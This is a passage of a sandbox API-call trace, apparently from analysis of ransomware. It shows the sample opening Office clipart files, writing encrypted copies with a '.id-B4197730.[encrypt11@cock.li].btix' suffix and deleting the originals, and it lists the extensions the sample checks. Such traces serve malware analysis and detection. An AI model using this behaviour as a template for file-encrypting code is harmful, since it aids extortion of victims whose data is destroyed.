lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0130.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68 [0130.147] lstrlenW (lpString=".jpg") returned 4 [0130.147] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0130.147] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0130.147] lstrlenW (lpString="HH00084_.WMF") returned 12 [0130.147] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00084_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0130.298] GetFileSizeEx (in: hFile=0x4a4, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=2472) returned 1 [0130.298] CloseHandle (hObject=0x4a4) returned 1 [0130.298] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00084_.wmf")) returned 0x220 [0130.300] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00084_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0130.300] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00084_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0130.300] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0130.300] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0130.300] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00084_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0130.301] GetLastError () returned 0x0 [0130.301] ReadFile (in: hFile=0x4a4, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x9a8, lpOverlapped=0x0) returned 1 [0130.519] WriteFile (in: hFile=0x4a8, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0x9b0, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0x9b0, lpOverlapped=0x0) returned 1 [0130.520] ReadFile (in: hFile=0x4a4, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0130.520] WriteFile (in: hFile=0x4a8, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0xec, lpOverlapped=0x0) returned 1 [0130.520] SetEndOfFile (hFile=0x4a8) returned 1 [0130.521] CloseHandle (hObject=0x4a8) returned 1 [0130.521] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0130.521] SetEndOfFile (hFile=0x4a4) returned 1 [0130.523] CloseHandle (hObject=0x4a4) returned 1 [0130.523] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0130.523] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00084_.wmf")) returned 1 [0130.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68 [0130.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68 [0130.524] lstrlenW (lpString=".doc") returned 4 [0130.524] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0130.524] lstrlenW (lpString=".docx") returned 5 [0130.524] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0130.524] lstrlenW (lpString=".pdf") returned 4 [0130.524] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0130.524] lstrlenW (lpString=".xls") returned 4 [0130.524] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0130.524] lstrlenW (lpString=".xlsx") returned 5 [0130.524] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0130.524] lstrlenW (lpString=".ppt") returned 4 [0130.524] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0130.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68 [0130.524] lstrlenW (lpString=".zip") returned 4 [0130.524] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0130.524] lstrlenW (lpString=".rar") returned 4 [0130.524] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0130.524] lstrlenW (lpString=".bz2") returned 4 [0130.524] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0130.524] lstrlenW (lpString=".7z") returned 3 [0130.524] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0130.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68 [0130.525] lstrlenW (lpString=".dbf") returned 4 [0130.525] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0130.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68 [0130.525] lstrlenW (lpString=".1cd") returned 4 [0130.525] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0130.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68 [0130.525] lstrlenW (lpString=".jpg") returned 4 [0130.525] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0130.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68 [0130.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68 [0130.525] lstrlenW (lpString=".doc") returned 4 [0130.525] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0130.525] lstrlenW (lpString=".docx") returned 5 [0130.525] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0130.525] lstrlenW (lpString=".pdf") returned 4 [0130.525] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0130.525] lstrlenW (lpString=".xls") returned 4 [0130.525] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0130.525] lstrlenW (lpString=".xlsx") returned 5 [0130.525] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0130.525] lstrlenW (lpString=".ppt") returned 4 [0130.525] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0130.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68 [0130.525] lstrlenW (lpString=".zip") returned 4 [0130.525] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0130.525] lstrlenW (lpString=".rar") returned 4 [0130.525] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0130.525] lstrlenW (lpString=".bz2") returned 4 [0130.525] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0130.525] lstrlenW (lpString=".7z") returned 3 [0130.525] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0130.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68 [0130.525] lstrlenW (lpString=".dbf") returned 4 [0130.525] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0130.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68 [0130.526] lstrlenW (lpString=".1cd") returned 4 [0130.526] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0130.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68 [0130.526] lstrlenW (lpString=".jpg") returned 4 [0130.526] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0130.526] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0130.526] lstrlenW (lpString="HH00235_.WMF") returned 12 [0130.526] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00235_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0130.526] GetFileSizeEx (in: hFile=0x4a4, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=1026) returned 1 [0130.526] CloseHandle (hObject=0x4a4) returned 1 [0130.526] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00235_.wmf")) returned 0x220 [0130.527] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00235_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0130.527] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00235_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0130.527] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0130.527] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0130.527] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00235_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0130.527] GetLastError () returned 0x0 [0130.527] ReadFile (in: hFile=0x4a4, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x402, lpOverlapped=0x0) returned 1 [0130.549] WriteFile (in: hFile=0x4a8, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0x410, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0x410, lpOverlapped=0x0) returned 1 [0130.550] ReadFile (in: hFile=0x4a4, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0130.550] WriteFile (in: hFile=0x4a8, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0xec, lpOverlapped=0x0) returned 1 [0130.550] SetEndOfFile (hFile=0x4a8) returned 1 [0130.550] CloseHandle (hObject=0x4a8) returned 1 [0130.550] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0130.550] SetEndOfFile (hFile=0x4a4) returned 1 [0130.553] CloseHandle (hObject=0x4a4) returned 1 [0130.553] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0130.553] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00235_.wmf")) returned 1 [0130.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0130.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0130.554] lstrlenW (lpString=".doc") returned 4 [0130.554] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0130.554] lstrlenW (lpString=".docx") returned 5 [0130.554] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0130.554] lstrlenW (lpString=".pdf") returned 4 [0130.554] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0130.554] lstrlenW (lpString=".xls") returned 4 [0130.554] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0130.554] lstrlenW (lpString=".xlsx") returned 5 [0130.554] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0130.554] lstrlenW (lpString=".ppt") returned 4 [0130.554] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0130.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0130.554] lstrlenW (lpString=".zip") returned 4 [0130.554] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0130.554] lstrlenW (lpString=".rar") returned 4 [0130.554] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0130.554] lstrlenW (lpString=".bz2") returned 4 [0130.554] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0130.554] lstrlenW (lpString=".7z") returned 3 [0130.554] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0130.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0130.554] lstrlenW (lpString=".dbf") returned 4 [0130.554] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0130.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0130.554] lstrlenW (lpString=".1cd") returned 4 [0130.554] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0130.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0130.555] lstrlenW (lpString=".jpg") returned 4 [0130.555] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0130.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0130.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0130.555] lstrlenW (lpString=".doc") returned 4 [0130.555] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0130.555] lstrlenW (lpString=".docx") returned 5 [0130.555] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0130.555] lstrlenW (lpString=".pdf") returned 4 [0130.555] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0130.555] lstrlenW (lpString=".xls") returned 4 [0130.555] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0130.555] lstrlenW (lpString=".xlsx") returned 5 [0130.555] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0130.555] lstrlenW (lpString=".ppt") returned 4 [0130.555] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0130.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0130.555] lstrlenW (lpString=".zip") returned 4 [0130.555] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0130.555] lstrlenW (lpString=".rar") returned 4 [0130.555] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0130.555] lstrlenW (lpString=".bz2") returned 4 [0130.555] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0130.555] lstrlenW (lpString=".7z") returned 3 [0130.555] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0130.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0130.555] lstrlenW (lpString=".dbf") returned 4 [0130.555] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0130.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0130.555] lstrlenW (lpString=".1cd") returned 4 [0130.555] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0130.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0130.555] lstrlenW (lpString=".jpg") returned 4 [0130.555] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0130.556] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0130.556] lstrlenW (lpString="HH00236_.WMF") returned 12 [0130.556] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00236_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0130.565] GetFileSizeEx (in: hFile=0x430, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=3286) returned 1 [0130.565] CloseHandle (hObject=0x430) returned 1 [0130.565] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00236_.wmf")) returned 0x220 [0130.565] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00236_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0130.565] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00236_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0130.566] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0130.566] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0130.566] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00236_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x41c [0130.566] GetLastError () returned 0x0 [0130.566] ReadFile (in: hFile=0x430, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0xcd6, lpOverlapped=0x0) returned 1 [0130.590] WriteFile (in: hFile=0x41c, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0xce0, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0xce0, lpOverlapped=0x0) returned 1 [0130.591] ReadFile (in: hFile=0x430, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0130.591] WriteFile (in: hFile=0x41c, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0xec, lpOverlapped=0x0) returned 1 [0130.591] SetEndOfFile (hFile=0x41c) returned 1 [0130.591] CloseHandle (hObject=0x41c) returned 1 [0130.591] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0130.591] SetEndOfFile (hFile=0x430) returned 1 [0130.593] CloseHandle (hObject=0x430) returned 1 [0130.593] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0130.594] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00236_.wmf")) returned 1 [0130.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0130.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0130.594] lstrlenW (lpString=".doc") returned 4 [0130.594] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0130.594] lstrlenW (lpString=".docx") returned 5 [0130.594] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0130.594] lstrlenW (lpString=".pdf") returned 4 [0130.594] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0130.594] lstrlenW (lpString=".xls") returned 4 [0130.594] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0130.594] lstrlenW (lpString=".xlsx") returned 5 [0130.594] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0130.594] lstrlenW (lpString=".ppt") returned 4 [0130.594] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0130.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0130.594] lstrlenW (lpString=".zip") returned 4 [0130.595] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0130.595] lstrlenW (lpString=".rar") returned 4 [0130.595] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0130.595] lstrlenW (lpString=".bz2") returned 4 [0130.595] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0130.595] lstrlenW (lpString=".7z") returned 3 [0130.595] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0130.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0130.595] lstrlenW (lpString=".dbf") returned 4 [0130.595] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0130.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0130.595] lstrlenW (lpString=".1cd") returned 4 [0130.595] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0130.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0130.595] lstrlenW (lpString=".jpg") returned 4 [0130.595] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0130.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0130.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0130.595] lstrlenW (lpString=".doc") returned 4 [0130.595] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0130.595] lstrlenW (lpString=".docx") returned 5 [0130.595] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0130.595] lstrlenW (lpString=".pdf") returned 4 [0130.595] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0130.595] lstrlenW (lpString=".xls") returned 4 [0130.595] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0130.595] lstrlenW (lpString=".xlsx") returned 5 [0130.595] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0130.595] lstrlenW (lpString=".ppt") returned 4 [0130.595] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0130.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0130.595] lstrlenW (lpString=".zip") returned 4 [0130.595] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0130.595] lstrlenW (lpString=".rar") returned 4 [0130.595] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0130.595] lstrlenW (lpString=".bz2") returned 4 [0130.596] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0130.596] lstrlenW (lpString=".7z") returned 3 [0130.596] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0130.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0130.596] lstrlenW (lpString=".dbf") returned 4 [0130.596] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0130.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0130.596] lstrlenW (lpString=".1cd") returned 4 [0130.596] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0130.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0130.596] lstrlenW (lpString=".jpg") returned 4 [0130.596] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0130.596] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0130.596] lstrlenW (lpString="HH00276_.WMF") returned 12 [0130.596] CreateFileW 